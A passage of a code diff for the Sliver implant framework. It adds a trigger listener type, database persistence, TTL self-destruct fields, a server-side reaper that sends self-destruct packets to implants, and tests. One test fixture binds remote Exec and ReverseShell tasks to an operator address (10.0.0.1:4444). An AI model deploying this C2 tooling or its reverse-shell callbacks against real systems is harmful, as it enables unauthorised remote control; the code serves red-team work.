db.Session(). + Where("include_trigger_wake = ? AND ttl_enabled = ?", true, true). + Find(&configs).Error + return configs, err +} + +// buildNameForConfig attempts to find a friendly build name for a +// config ID. Returns the config ID itself if no build is found. +func buildNameForConfig(configID string) string { + build, err := db.ImplantBuildByConfigID(configID) + if err != nil || build == nil { + return configID + } + return build.Name +} + +// indexActivitiesByConfig builds a map from ImplantConfigID to +// TriggerActivity for O(1) lookups during the sweep. +func indexActivitiesByConfig(activities []*models.TriggerActivity) map[string]*models.TriggerActivity { + m := make(map[string]*models.TriggerActivity, len(activities)) + for _, a := range activities { + m[a.ImplantConfigID] = a + } + return m +} diff --git a/server/c2/trigger_ttl_reaper_test.go b/server/c2/trigger_ttl_reaper_test.go new file mode 100644 index 0000000000..af0ddb2619 --- /dev/null +++ b/server/c2/trigger_ttl_reaper_test.go @@ -0,0 +1,71 @@ +package c2 + +/* + Tests for the TTL reaper's pure-logic helpers. The full sweep() + function depends on DB state and is exercised by integration tests; + these unit tests cover the helper functions that don't touch the DB. +*/ + +import ( + "testing" + "time" + + "github.com/bishopfox/sliver/server/db/models" +) + +func TestIndexActivitiesByConfig(t *testing.T) { + now := time.Now() + activities := []*models.TriggerActivity{ + {ImplantConfigID: "aaa", LastSeenIP: "10.0.0.1", LastActivityAt: now}, + {ImplantConfigID: "bbb", LastSeenIP: "10.0.0.2", LastActivityAt: now.Add(-time.Hour)}, + } + + m := indexActivitiesByConfig(activities) + if len(m) != 2 { + t.Fatalf("expected 2 entries, got %d", len(m)) + } + if m["aaa"].LastSeenIP != "10.0.0.1" { + t.Errorf("aaa IP = %q, want 10.0.0.1", m["aaa"].LastSeenIP) + } + if m["bbb"].LastSeenIP != "10.0.0.2" { + t.Errorf("bbb IP = %q, want 10.0.0.2", m["bbb"].LastSeenIP) + } + if _, ok := m["nonexistent"]; ok { + t.Error("unexpected key 'nonexistent'") + } +} + +func TestIndexActivitiesByConfigEmpty(t *testing.T) { + m := indexActivitiesByConfig(nil) + if len(m) != 0 { + t.Fatalf("expected empty map, got %d entries", len(m)) + } +} + +func TestIndexActivitiesByConfigDuplicate(t *testing.T) { + // If there are duplicate config IDs (shouldn't happen due to unique + // index, but be defensive), the last one wins. + now := time.Now() + activities := []*models.TriggerActivity{ + {ImplantConfigID: "aaa", LastSeenIP: "10.0.0.1", LastActivityAt: now}, + {ImplantConfigID: "aaa", LastSeenIP: "10.0.0.99", LastActivityAt: now}, + } + m := indexActivitiesByConfig(activities) + if len(m) != 1 { + t.Fatalf("expected 1 entry, got %d", len(m)) + } + if m["aaa"].LastSeenIP != "10.0.0.99" { + t.Errorf("expected last-writer-wins, got %q", m["aaa"].LastSeenIP) + } +} + +func TestReaperCooldownConstant(t *testing.T) { + // Sanity: cooldown should be at least 30 minutes, and the default + // interval should be reasonable. + if reaperCooldown < 30*time.Minute { + t.Errorf("reaperCooldown = %v, should be at least 30m", reaperCooldown) + } + if DefaultReaperInterval < time.Minute { + t.Errorf("DefaultReaperInterval = %v, should be at least 1m", DefaultReaperInterval) + } +} diff --git a/server/cli/daemon.go b/server/cli/daemon.go index 2645ede68a..e2474cbf9b 100644 --- a/server/cli/daemon.go +++ b/server/cli/daemon.go @@ -87,6 +87,11 @@ var daemonCmd = &cobra.Command{ fmt.Printf("[!] %s\n", err) } + // Start the server-side TTL reaper as a defense-in-depth + // fallback for trigger implants whose client-side TTL watchdog + // may have failed. Runs for the lifetime of the server process. + c2.StartTTLReaper() + daemon.Start(lhost, uint16(lport), tailscale, enableWG) }, } @@ -185,6 +190,15 @@ func startPersistentListenerJob(jobType string, listenerJob *clientpb.ListenerJo return 0, err } return uint32(job.ID), nil + case constants.TriggerStr: + if listenerJob.TriggerConf == nil { + return 0, errors.New("missing Trigger listener configuration") + } + job, err := c2.StartTriggerListenerJob(listenerJob.TriggerConf) + if err != nil { + return 0, err + } + return uint32(job.ID), nil default: return 0, fmt.Errorf("unsupported listener type %q", jobType) } @@ -231,6 +245,11 @@ func persistentJobStartupContext(jobType string, savedJobID uint32, listenerJob return prefix } return fmt.Sprintf("%s [%s profile=%q]", prefix, listenerBind(listenerJob.TCPConf.Host, listenerJob.TCPConf.Port), listenerJob.TCPConf.ProfileName) + case constants.TriggerStr: + if listenerJob.TriggerConf == nil { + return prefix + } + return fmt.Sprintf("%s [%s tasks=%d]", prefix, listenerBind(listenerJob.TriggerConf.Host, listenerJob.TriggerConf.Port), len(listenerJob.TriggerConf.Intents)) default: return prefix } diff --git a/server/db/helpers.go b/server/db/helpers.go index 0ba0c03784..e6652237ac 100644 --- a/server/db/helpers.go +++ b/server/db/helpers.go @@ -225,6 +225,26 @@ func ImplantBuildByID(id string) (*clientpb.ImplantBuild, error) { return build.ToProtobuf(), nil } +// ImplantBuildByConfigID - Fetch the first implant build associated with a config ID. +// Returns (nil, nil) if no build references that config. +func ImplantBuildByConfigID(configID string) (*clientpb.ImplantBuild, error) { + if len(configID) < 1 { + return nil, ErrRecordNotFound + } + cid := uuid.FromStringOrNil(configID) + if cid == uuid.Nil { + return nil, ErrRecordNotFound + } + build := models.ImplantBuild{} + err := Session().Where(&models.ImplantBuild{ + ImplantConfigID: cid, + }).First(&build).Error + if err != nil { + return nil, err + } + return build.ToProtobuf(), nil +} + // ImplantProfiles - Fetch a map of name<->profiles current in the database func ImplantProfiles() ([]*clientpb.ImplantProfile, error) { profiles := []*models.ImplantProfile{} @@ -616,6 +636,12 @@ func ListenerByJobID(JobID uint32) (*clientpb.ListenerJob, error) { ListenerJobID: listenerJob.ID, }).Find(&MultiplayerListener).Error listenerJob.MultiplayerListener = MultiplayerListener + case constants.TriggerStr: + TriggerListener := models.TriggerListener{} + err = Session().Where(&models.TriggerListener{ + ListenerJobID: listenerJob.ID, + }).Find(&TriggerListener).Error + listenerJob.TriggerListener = TriggerListener } if err != nil { @@ -660,6 +686,8 @@ func DeleteListener(JobID uint32) error { deleteErr = Session().Where(&models.WGListener{ListenerJobID: listenerID}).Delete(&models.WGListener{}).Error case constants.MultiplayerModeStr: deleteErr = Session().Where(&models.MultiplayerListener{ListenerJobID: listenerID}).Delete(&models.MultiplayerListener{}).Error + case constants.TriggerStr: + deleteErr = Session().Where(&models.TriggerListener{ListenerJobID: listenerID}).Delete(&models.TriggerListener{}).Error } if deleteErr != nil { diff --git a/server/db/models/implant.go b/server/db/models/implant.go index 5e01381bfe..669e417b8b 100644 --- a/server/db/models/implant.go +++ b/server/db/models/implant.go @@ -220,6 +220,17 @@ type ImplantConfig struct { TrafficEncodersEnabled bool Assets []EncoderAsset Extension string + + // Trigger wake / TTL lifecycle fields (Phase 2) + IncludeTriggerWake bool + TriggerWakeBindAddr string + TriggerWakeSecret []byte + TriggerWakeAllowedClientIDs string // comma-separated; GORM doesn't natively handle string slices + TTLEnabled bool + TTLMinutes uint32 + TTLExpiresAtUnix int64 + TTLBurnExtraPaths string // comma-separated + TTLBurnPersistence string // comma-separated } // BeforeCreate - GORM hook @@ -300,6 +311,17 @@ func (ic *ImplantConfig) ToProtobuf() *clientpb.ImplantConfig { IncludeTCP: ic.IncludeTCP, Extension: ic.Extension, Exports: strings.Split(ic.Exports, ","), + + // Trigger wake / TTL lifecycle + IncludeTriggerWake: ic.IncludeTriggerWake, + TriggerWakeBindAddr: ic.TriggerWakeBindAddr, + TriggerWakeSecret: ic.TriggerWakeSecret, + TriggerWakeAllowedClientIDs: splitNonEmpty(ic.TriggerWakeAllowedClientIDs), + TTLEnabled: ic.TTLEnabled, + TTLMinutes: ic.TTLMinutes, + TTLExpiresAtUnix: ic.TTLExpiresAtUnix, + TTLBurnExtraPaths: splitNonEmpty(ic.TTLBurnExtraPaths), + TTLBurnPersistence: splitNonEmpty(ic.TTLBurnPersistence), ShellcodeConfig: &clientpb.ShellcodeConfig{ Entropy: ic.DonutEntropy, Compress: ic.DonutCompress, @@ -545,6 +567,17 @@ func ImplantConfigFromProtobuf(pbConfig *clientpb.ImplantConfig) *ImplantConfig } cfg.Extension = pbConfig.Extension + // Trigger wake / TTL lifecycle + cfg.IncludeTriggerWake = pbConfig.IncludeTriggerWake + cfg.TriggerWakeBindAddr = pbConfig.TriggerWakeBindAddr + cfg.TriggerWakeSecret = pbConfig.TriggerWakeSecret + cfg.TriggerWakeAllowedClientIDs = strings.Join(pbConfig.TriggerWakeAllowedClientIDs, ",") + cfg.TTLEnabled = pbConfig.TTLEnabled + cfg.TTLMinutes = pbConfig.TTLMinutes + cfg.TTLExpiresAtUnix = pbConfig.TTLExpiresAtUnix + cfg.TTLBurnExtraPaths = strings.Join(pbConfig.TTLBurnExtraPaths, ",") + cfg.TTLBurnPersistence = strings.Join(pbConfig.TTLBurnPersistence, ",") + return &cfg } @@ -568,6 +601,25 @@ func copyC2List(src []*clientpb.ImplantC2, id uuid.UUID) []ImplantC2 { return c2s } +// splitNonEmpty splits a comma-separated string into a string slice, +// filtering out empty entries. Returns nil for empty input. +func splitNonEmpty(s string) []string { + if s == "" { + return nil + } + parts := strings.Split(s, ",") + out := make([]string, 0, len(parts)) + for _, p := range parts { + if p != "" { + out = append(out, p) + } + } + if len(out) == 0 { + return nil + } + return out +} + func IsC2Enabled(schemes []string, c2s []*clientpb.ImplantC2) bool { for _, c2 := range c2s { c2URL, err := url.Parse(c2.URL) diff --git a/server/db/models/implant_triggerwake_test.go b/server/db/models/implant_triggerwake_test.go new file mode 100644 index 0000000000..c23909a169 --- /dev/null +++ b/server/db/models/implant_triggerwake_test.go @@ -0,0 +1,141 @@ +package models + +/* + Tests for the ImplantConfig trigger-wake / TTL field round-trip + through ToProtobuf() and ImplantConfigFromProtobuf(). +*/ + +import ( + "strings" + "testing" + + "github.com/bishopfox/sliver/protobuf/clientpb" +) + +func TestImplantConfig_TriggerWakeFieldsRoundTrip(t *testing.T) { + // Start with a proto config that has all trigger wake fields set. + pbConfig := &clientpb.ImplantConfig{ + GOOS: "linux", + GOARCH: "amd64", + IncludeTriggerWake: true, + TriggerWakeBindAddr: "0.0.0.0:46290", + TriggerWakeSecret: []byte("test-hmac-secret-32-bytes-long!!"), + TriggerWakeAllowedClientIDs: []string{"ops-alice", "ops-bob"}, + TTLEnabled: true, + TTLMinutes: 720, + TTLExpiresAtUnix: 1735689600, + TTLBurnExtraPaths: []string{"/tmp/foo", "/tmp/bar"}, + TTLBurnPersistence: []string{"/etc/systemd/system/x.service"}, + } + + // Convert proto -> native model. + native := ImplantConfigFromProtobuf(pbConfig) + + if !native.IncludeTriggerWake { + t.Fatalf("IncludeTriggerWake = false, want true") + } + if native.TriggerWakeBindAddr != "0.0.0.0:46290" { + t.Fatalf("TriggerWakeBindAddr = %q, want %q", native.TriggerWakeBindAddr, "0.0.0.0:46290") + } + if string(native.TriggerWakeSecret) != "test-hmac-secret-32-bytes-long!!" { + t.Fatalf("TriggerWakeSecret = %q, want %q", string(native.TriggerWakeSecret), "test-hmac-secret-32-bytes-long!!") + } + if native.TriggerWakeAllowedClientIDs != "ops-alice,ops-bob" { + t.Fatalf("TriggerWakeAllowedClientIDs = %q, want %q", native.TriggerWakeAllowedClientIDs, "ops-alice,ops-bob") + } + if !native.TTLEnabled { + t.Fatalf("TTLEnabled = false, want true") + } + if native.TTLMinutes != 720 { + t.Fatalf("TTLMinutes = %d, want 720", native.TTLMinutes) + } + if native.TTLExpiresAtUnix != 1735689600 { + t.Fatalf("TTLExpiresAtUnix = %d, want 1735689600", native.TTLExpiresAtUnix) + } + if native.TTLBurnExtraPaths != "/tmp/foo,/tmp/bar" { + t.Fatalf("TTLBurnExtraPaths = %q, want %q", native.TTLBurnExtraPaths, "/tmp/foo,/tmp/bar") + } + if native.TTLBurnPersistence != "/etc/systemd/system/x.service" { + t.Fatalf("TTLBurnPersistence = %q, want %q", native.TTLBurnPersistence, "/etc/systemd/system/x.service") + } + + // Convert native model -> proto (round-trip). + pbRoundTrip := native.ToProtobuf() + + if !pbRoundTrip.IncludeTriggerWake { + t.Fatalf("round-trip IncludeTriggerWake = false") + } + if pbRoundTrip.TriggerWakeBindAddr != "0.0.0.0:46290" { + t.Fatalf("round-trip TriggerWakeBindAddr = %q", pbRoundTrip.TriggerWakeBindAddr) + } + if string(pbRoundTrip.TriggerWakeSecret) != "test-hmac-secret-32-bytes-long!!" { + t.Fatalf("round-trip TriggerWakeSecret = %q", string(pbRoundTrip.TriggerWakeSecret)) + } + if got := strings.Join(pbRoundTrip.TriggerWakeAllowedClientIDs, ","); got != "ops-alice,ops-bob" { + t.Fatalf("round-trip AllowedClientIDs = %q", got) + } + if !pbRoundTrip.TTLEnabled { + t.Fatalf("round-trip TTLEnabled = false") + } + if pbRoundTrip.TTLMinutes != 720 { + t.Fatalf("round-trip TTLMinutes = %d", pbRoundTrip.TTLMinutes) + } + if pbRoundTrip.TTLExpiresAtUnix != 1735689600 { + t.Fatalf("round-trip TTLExpiresAtUnix = %d", pbRoundTrip.TTLExpiresAtUnix) + } + if got := strings.Join(pbRoundTrip.TTLBurnExtraPaths, ","); got != "/tmp/foo,/tmp/bar" { + t.Fatalf("round-trip TTLBurnExtraPaths = %q", got) + } + if got := strings.Join(pbRoundTrip.TTLBurnPersistence, ","); got != "/etc/systemd/system/x.service" { + t.Fatalf("round-trip TTLBurnPersistence = %q", got) + } +} + +func TestImplantConfig_TriggerWakeFieldsOff(t *testing.T) { + // Trigger wake off: all fields should round-trip as zero values. + pbConfig := &clientpb.ImplantConfig{ + GOOS: "linux", + GOARCH: "amd64", + } + + native := ImplantConfigFromProtobuf(pbConfig) + if native.IncludeTriggerWake { + t.Fatalf("IncludeTriggerWake should be false when not set") + } + if native.TTLEnabled { + t.Fatalf("TTLEnabled should be false when not set") + } + + pbRoundTrip := native.ToProtobuf() + if pbRoundTrip.IncludeTriggerWake { + t.Fatalf("round-trip IncludeTriggerWake should be false") + } + if len(pbRoundTrip.TriggerWakeAllowedClientIDs) != 0 { + t.Fatalf("round-trip AllowedClientIDs should be empty, got %v", pbRoundTrip.TriggerWakeAllowedClientIDs) + } +} + +func TestSplitNonEmpty(t *testing.T) { + tests := []struct { + input string + want []string + }{ + {"", nil}, + {"a", []string{"a"}}, + {"a,b,c", []string{"a", "b", "c"}}, + {"a,,b", []string{"a", "b"}}, + {",", nil}, + } + for _, tt := range tests { + got := splitNonEmpty(tt.input) + if len(got) != len(tt.want) { + t.Errorf("splitNonEmpty(%q) = %v, want %v", tt.input, got, tt.want) + continue + } + for i, g := range got { + if g != tt.want[i] { + t.Errorf("splitNonEmpty(%q)[%d] = %q, want %q", tt.input, i, g, tt.want[i]) + } + } + } +} diff --git a/server/db/models/jobs.go b/server/db/models/jobs.go index 721e870b7b..c1798e484f 100644 --- a/server/db/models/jobs.go +++ b/server/db/models/jobs.go @@ -24,6 +24,7 @@ import ( "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/gofrs/uuid" + "google.golang.org/protobuf/proto" "gorm.io/gorm" ) @@ -38,6 +39,7 @@ type ListenerJob struct { DnsListener DNSListener WgListener WGListener MultiplayerListener MultiplayerListener + TriggerListener TriggerListener } type HTTPListener struct { @@ -95,6 +97,24 @@ type MultiplayerListener struct { WireGuard bool } +// TriggerListener persists the configuration of a Sliver trigger +// listener job. The full TriggerListenerReq proto (host/port + HMAC +// keys + task bindings with their discriminated-union configs + +// tunables) is proto-marshaled into the Conf column. +// +// Rationale: TriggerListenerReq.Intents is a slice of +// TriggerIntentBinding, each carrying a one-of discriminated union +// (WakeSession/WakeBeacon | StopJob | Exec | ReverseShell). Normalizing that into +// relational tables would require ~5 child tables with polymorphic +// joins; Sliver never queries the inside of a listener config, so +// the cost-benefit favors a single opaque-bytes column. Round-trip +// via proto.Marshal/Unmarshal preserves wire-level fidelity. +type TriggerListener struct { + ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"` + ListenerJobID uuid.UUID `gorm:"type:uuid;"` + Conf []byte +} + type DnsDomain struct { ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"` DNSListenerID uuid.UUID `gorm:"type:uuid;"` @@ -143,17 +163,26 @@ func (j *MtlsListener) BeforeCreate(tx *gorm.DB) (err error) { return nil } +func (j *TriggerListener) BeforeCreate(tx *gorm.DB) (err error) { + j.ID, err = uuid.NewV4() + if err != nil { + return err + } + return nil +} + // To Protobuf func (j *ListenerJob) ToProtobuf() *clientpb.ListenerJob { return &clientpb.ListenerJob{ - ID: j.ID.String(), - Type: j.Type, - JobID: j.JobID, - HTTPConf: j.HttpListener.ToProtobuf(), - MTLSConf: j.MtlsListener.ToProtobuf(), - DNSConf: j.DnsListener.ToProtobuf(), - WGConf: j.WgListener.ToProtobuf(), - MultiConf: j.MultiplayerListener.ToProtobuf(), + ID: j.ID.String(), + Type: j.Type, + JobID: j.JobID, + HTTPConf: j.HttpListener.ToProtobuf(), + MTLSConf: j.MtlsListener.ToProtobuf(), + DNSConf: j.DnsListener.ToProtobuf(), + WGConf: j.WgListener.ToProtobuf(), + MultiConf: j.MultiplayerListener.ToProtobuf(), + TriggerConf: j.TriggerListener.ToProtobuf(), } } @@ -214,6 +243,24 @@ func (j *MultiplayerListener) ToProtobuf() *clientpb.MultiplayerListenerReq { } } +// ToProtobuf unmarshals the persisted bytes back into a +// TriggerListenerReq. Returns nil if the row was created with an empty +// Conf (e.g. a non-trigger listener type whose row implicitly carries +// a zero-value TriggerListener). +func (j *TriggerListener) ToProtobuf() *clientpb.TriggerListenerReq { + if len(j.Conf) == 0 { + return nil + } + out := &clientpb.TriggerListenerReq{} + // On malformed bytes (shouldn't happen — we wrote them), return nil + // so the daemon restore path's "missing Trigger listener configuration" + // branch fires with the original error path rather than panicking. + if err := proto.Unmarshal(j.Conf, out); err != nil { + return nil + } + return out +} + // to model func ListenerJobFromProtobuf(pbListenerJob *clientpb.ListenerJob) *ListenerJob { cfg := &ListenerJob{ @@ -283,6 +330,17 @@ func ListenerJobFromProtobuf(pbListenerJob *clientpb.ListenerJob) *ListenerJob { Port: pbListenerJob.MultiConf.Port, WireGuard: pbListenerJob.MultiConf.WireGuard, } + case constants.TriggerStr: + // Marshal the full TriggerListenerReq into the Conf bytes. If + // marshaling fails (extremely unlikely for proto.Marshal), the + // resulting row will have Conf=nil and the daemon-restore path + // will fail with "missing Trigger listener configuration" — + // which is the same outcome as if SaveC2Listener never ran. + if pbListenerJob.TriggerConf != nil { + if blob, err := proto.Marshal(pbListenerJob.TriggerConf); err == nil { + cfg.TriggerListener = TriggerListener{Conf: blob} + } + } } return cfg diff --git a/server/db/models/jobs_trigger_test.go b/server/db/models/jobs_trigger_test.go new file mode 100644 index 0000000000..bf03f4f07f --- /dev/null +++ b/server/db/models/jobs_trigger_test.go @@ -0,0 +1,203 @@ +package models + +/* + Tests for the TriggerListener model's proto-marshal-to-bytes + persistence scheme. The TriggerListenerReq carries a discriminated- + union of task bindings (WakeBeacon | StopJob | Exec | ReverseShell) + plus opaque secret bytes — we store the proto.Marshal'd bytes in + one Conf column rather than normalizing into ~5 child tables. + + These tests verify the round-trip: + TriggerListenerReq → ListenerJobFromProtobuf → TriggerListener.Conf + ↓ + proto.Unmarshal + ↓ + matches original proto.Marshal output (every field preserved) +*/ + +import ( + "bytes" + "testing" + + "github.com/bishopfox/sliver/client/constants" + "github.com/bishopfox/sliver/protobuf/clientpb" + "google.golang.org/protobuf/proto" +) + +// makeTriggerReq builds a TriggerListenerReq exercising every shape +// we'd realistically persist: per-client keys, task bindings with all +// four kinds, source allowlist, tunables. +func makeTriggerReq() *clientpb.TriggerListenerReq { + return &clientpb.TriggerListenerReq{ + Host: "0.0.0.0", + Port: 14629, + SharedSecret: []byte("default-secret-32-bytes-of-data!"), + PerClientKeys: map[string][]byte{ + "ops-alice": []byte("alice-secret-bytes"), + "ops-bob": []byte("bob-secret-bytes"), + }, + Strict: true, + AllowedClientIDs: []string{"ops-alice", "ops-bob"}, + AllowedSources: []string{"10.0.0.0/8", "192.168.1.42"}, + ServerID: "test-trigger-server", + Intents: []*clientpb.TriggerIntentBinding{ + { + Name: "wake-beacon-alpha", + Config: &clientpb.TriggerIntentBinding_WakeBeacon{ + WakeBeacon: &clientpb.WakeBeaconConfig{ + BeaconID: "deadbeef-dead-beef-dead-beefdeadbeef", + }, + }, + }, + { + Name: "stop-mtls", + Config: &clientpb.TriggerIntentBinding_StopJob{ + StopJob: &clientpb.StopJobConfig{ + JobName: "mtls", + }, + }, + }, + { + Name: "run-ls", + Config: &clientpb.TriggerIntentBinding_Exec{ + Exec: &clientpb.ExecConfig{ + Cmd: "/bin/ls", + Args: []string{"-la", "/tmp"}, + }, + }, + }, + { + Name: "callback-shell", + Config: &clientpb.TriggerIntentBinding_ReverseShell{ + ReverseShell: &clientpb.ReverseShellConfig{ + OperatorAddr: "10.0.0.1:4444", + }, + }, + }, + }, + Workers: 4, + MaxClockSkewSeconds: 60, + ReplayTTLSeconds: 300, + MaxMessageBytes: 4096, + GlobalRatePerSecond: 100, + PerClientRequestsPerMinute: 60, + MaxReplayEntries: 10000, + MaxRateLimitEntries: 1000, + HandlerTimeoutMs: 5000, + } +} + +func TestTriggerListener_RoundTripViaModel(t *testing.T) { + original := makeTriggerReq() + + listenerJob := &clientpb.ListenerJob{ + Type: constants.TriggerStr, + JobID: 42, + TriggerConf: original, + } + + // Marshal via the model — same path SaveC2Listener uses + dbModel := ListenerJobFromProtobuf(listenerJob) + if dbModel.Type != constants.TriggerStr { + t.Fatalf("Type = %q, want %q", dbModel.Type, constants.TriggerStr) + } + if len(dbModel.TriggerListener.Conf) == 0 { + t.Fatalf("TriggerListener.Conf is empty — marshaling failed silently") + } + + // Unmarshal via the model — same path daemon-restore uses + roundTripped := dbModel.TriggerListener.ToProtobuf() + if roundTripped == nil { + t.Fatal("ToProtobuf returned nil after a successful marshal") + } + + // Use proto.Equal for semantic comparison. proto.Marshal output is + // NOT deterministic when the message contains maps (PerClientKeys) + // because Go map iteration order is randomized. bytes.Equal was + // flaky here; proto.Equal compares field-by-field correctly. + if !proto.Equal(original, roundTripped) { + t.Fatalf("round-trip not proto-equal") + } + + // Spot-check specific fields survived + if roundTripped.Host != "0.0.0.0" || roundTripped.Port != 14629 { + t.Errorf("host:port lost: %q:%d", roundTripped.Host, roundTripped.Port) + } + if !bytes.Equal(roundTripped.SharedSecret, []byte("default-secret-32-bytes-of-data!")) { + t.Errorf("SharedSecret bytes mangled") + } + if len(roundTripped.Intents) != 4 { + t.Fatalf("Intents lost: got %d, want 4", len(roundTripped.Intents)) + } + // Each task kind preserved + if roundTripped.Intents[0].GetWakeBeacon().GetBeaconID() != "deadbeef-dead-beef-dead-beefdeadbeef" { + t.Errorf("WakeBeacon binding lost") + } + if roundTripped.Intents[1].GetStopJob().GetJobName() != "mtls" { + t.Errorf("StopJob binding lost") + } + if roundTripped.Intents[2].GetExec().GetCmd() != "/bin/ls" { + t.Errorf("Exec binding lost") + } + if roundTripped.Intents[3].GetReverseShell().GetOperatorAddr() != "10.0.0.1:4444" { + t.Errorf("ReverseShell binding lost") + } +} + +func TestTriggerListener_ToProtobufEmptyConfReturnsNil(t *testing.T) { + // A non-trigger ListenerJob (e.g. mtls) has a zero-value + // TriggerListener attached. ToProtobuf must return nil so the + // resulting *clientpb.ListenerJob has TriggerConf=nil (matching + // the existing pattern for HTTPConf, MTLSConf, etc.). + tl := &TriggerListener{Conf: nil} + if got := tl.ToProtobuf(); got != nil { + t.Fatalf("ToProtobuf with empty Conf returned non-nil: %+v", got) + } +} + +func TestTriggerListener_ToProtobufMalformedConfReturnsNil(t *testing.T) { + // Defensive: if Conf is somehow malformed, return nil rather than + // panic. (This shouldn't happen — we wrote the bytes via + // proto.Marshal — but be robust.) + tl := &TriggerListener{Conf: []byte("not a valid proto message")} + if got := tl.ToProtobuf(); got != nil { + t.Fatalf("ToProtobuf with malformed Conf returned non-nil: %+v", got) + } +} + +func TestListenerJobFromProtobuf_TriggerType(t *testing.T) { + // Verify the switch-case for TriggerStr is wired and produces a + // non-empty Conf. + req := makeTriggerReq() + pb := &clientpb.ListenerJob{ + Type: constants.TriggerStr, + JobID: 7, + TriggerConf: req, + } + model := ListenerJobFromProtobuf(pb) + if model.Type != constants.TriggerStr { + t.Fatalf("Type = %q, want %q", model.Type, constants.TriggerStr) + } + if model.JobID != 7 { + t.Errorf("JobID = %d, want 7", model.JobID) + } + if len(model.TriggerListener.Conf) == 0 { + t.Fatalf("TriggerListener.Conf is empty") + } +} + +func TestListenerJobFromProtobuf_TriggerTypeNilConf(t *testing.T) { + // If TriggerConf is nil (e.g. someone constructed a Type=trigger + // listener without populating the config), the resulting model + // has an empty Conf — restore path will then fail with "missing + // Trigger listener configuration", which is the intended outcome. + pb := &clientpb.ListenerJob{ + Type: constants.TriggerStr, + JobID: 7, + TriggerConf: nil, + } + model := ListenerJobFromProtobuf(pb) + if len(model.TriggerListener.Conf) != 0 { + t.Errorf("expected empty Conf when input TriggerConf is nil, got %d bytes", len(model.TriggerListener.Conf)) + } +} diff --git a/server/db/models/trigger_activity.go b/server/db/models/trigger_activity.go new file mode 100644 index 0000000000..0e9c42a4b7 --- /dev/null +++ b/server/db/models/trigger_activity.go @@ -0,0 +1,49 @@ +package models + +/* + Sliver Implant Framework + Copyright (C) 2026 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + + ---------------------------------------------------------------------- + + TriggerActivity tracks the last known location and activity time for + trigger-enabled implants. The server-side TTL reaper uses this data + to send self-destruct packets to implants that appear to have survived + past their configured TTL. + + The implant-side TTL watchdog is the PRIMARY mechanism; this is the + SECONDARY defense-in-depth fallback. +*/ + +import ( + "time" +) + +// TriggerActivity records the last operator interaction with a +// trigger-enabled implant. Upserted on every TriggerFire RPC call so +// the server knows where to send self-destruct packets if the +// implant's own TTL watchdog fails. +type TriggerActivity struct { + ID uint `gorm:"primaryKey"` + ImplantConfigID string `gorm:"uniqueIndex;not null"` // FK to ImplantConfig (UUID string) + ImplantName string // friendly name from ImplantBuild + LastSeenIP string // last known routable IP + LastSeenPort uint32 // trigger port extracted from bind addr + LastActivityAt time.Time // last TriggerFire call targeting this implant + TTLReaperFiredAt *time.Time // last time the reaper sent a self-destruct; nil = never + CreatedAt time.Time + UpdatedAt time.Time +} diff --git a/server/db/sql.go b/server/db/sql.go index 361a184557..dea2bdba4c 100644 --- a/server/db/sql.go +++ b/server/db/sql.go @@ -100,6 +100,8 @@ func newDBClient() *gorm.DB { &models.WGListener{}, &models.MultiplayerListener{}, &models.MtlsListener{}, + &models.TriggerListener{}, + &models.TriggerActivity{}, &models.DnsDomain{}, &models.MonitoringProvider{}, ) diff --git a/server/db/trigger_activity.go b/server/db/trigger_activity.go new file mode 100644 index 0000000000..c9afe61aa1 --- /dev/null +++ b/server/db/trigger_activity.go @@ -0,0 +1,111 @@ +package db + +/* + Sliver Implant Framework + Copyright (C) 2026 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + + ---------------------------------------------------------------------- + + DB helpers for the TriggerActivity model. Used by the TTL reaper + and the TriggerFire RPC to track implant activity. +*/ + +import ( + "bytes" + "time" + + "github.com/bishopfox/sliver/server/db/models" + "gorm.io/gorm/clause" +) + +// UpsertTriggerActivity creates or updates a TriggerActivity record +// keyed by ImplantConfigID. Called on every TriggerFire RPC so the +// server always knows the implant's last known location. +func UpsertTriggerActivity(configID, name, ip string, port uint32) error { + now := time.Now() + record := &models.TriggerActivity{ + ImplantConfigID: configID, + ImplantName: name, + LastSeenIP: ip, + LastSeenPort: port, + LastActivityAt: now, + CreatedAt: now, + UpdatedAt: now, + } + return Session().Clauses(clause.OnConflict{ + Columns: []clause.Column{{Name: "implant_config_id"}}, + DoUpdates: clause.AssignmentColumns([]string{ + "implant_name", + "last_seen_ip", + "last_seen_port", + "last_activity_at", + "updated_at", + }), + }).Create(record).Error +} + +// TriggerActivityByConfigID retrieves a single TriggerActivity record. +func TriggerActivityByConfigID(configID string) (*models.TriggerActivity, error) { + activity := &models.TriggerActivity{} + err := Session().Where("implant_config_id = ?", configID).First(activity).Error + if err != nil { + return nil, err + } + return activity, nil +} + +// AllTriggerActivities returns every TriggerActivity record. +func AllTriggerActivities() ([]*models.TriggerActivity, error) { + var activities []*models.TriggerActivity + err := Session().Find(&activities).Error + return activities, err +} + +// ImplantConfigsByTriggerSecret returns all ImplantConfigs whose +// TriggerWakeSecret matches the given secret. In practice there should +// be at most one, but we return a slice for robustness. +func ImplantConfigsByTriggerSecret(secret []byte) ([]models.ImplantConfig, error) { + var all []models.ImplantConfig + err := Session(). + Where("include_trigger_wake = ? AND length(trigger_wake_secret) > 0", true). + Find(&all).Error + if err != nil { + return nil, err + } + // GORM/SQLite doesn't support reliable binary WHERE on []byte across + // all dialects, so filter in Go. The table is small (one row per + // implant config, not per session). + var matched []models.ImplantConfig + for _, cfg := range all { + if bytes.Equal(cfg.TriggerWakeSecret, secret) { + matched = append(matched, cfg) + } + } + return matched, nil +} + +// MarkReaperFired sets TTLReaperFiredAt to now for the given config ID, +// preventing the reaper from spamming self-destruct packets. +func MarkReaperFired(configID string) error { + now := 